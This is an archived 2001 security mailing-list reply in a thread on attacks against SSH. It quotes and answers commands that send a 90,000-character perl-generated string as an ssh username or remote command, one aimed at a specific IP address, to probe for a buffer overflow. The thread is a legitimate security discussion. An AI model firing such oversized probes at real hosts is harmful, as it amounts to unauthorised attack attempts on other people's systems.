Re: Attacks against SSH?

From: Skip Carter (skipat_private)
Date: Wed Dec 05 2001 - 14:31:58 PST

  • Next message: johan.augustssonat_private: "Re: Attacks against SSH?" 

    > bluebottle:~ >sh
> $ ssh -l`perl -e '{print "A"x90000}'`130.216.1.228
> Usage: ssh [options] host [command]
> Options:
>   -l user     Log in using this user name.
>   -n          Redirect input from /dev/null.
>   -A          Enable authentication agent forwarding.
>   -a          Disable authentication agent forwarding.
> 
> 
> Now we now get a usage error from the local ssh client.  Which ssh 
> client were you using Michal?

  With Openssh 2.9.9, the following works:

  ssh -v <hostname> perl -e '{print "A"x90000}'




-- 
 Dr. Everett (Skip) Carter      Phone: 831-641-0645 FAX:  831-641-0647
 Taygeta Scientific Inc.        INTERNET: skipat_private
 1340 Munras Ave., Suite 314    WWW: http://www.taygeta.com
 Monterey, CA. 93940            












----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com

    This archive was generated by hypermail 2b30 : Wed Dec 05 2001 - 15:17:52 PST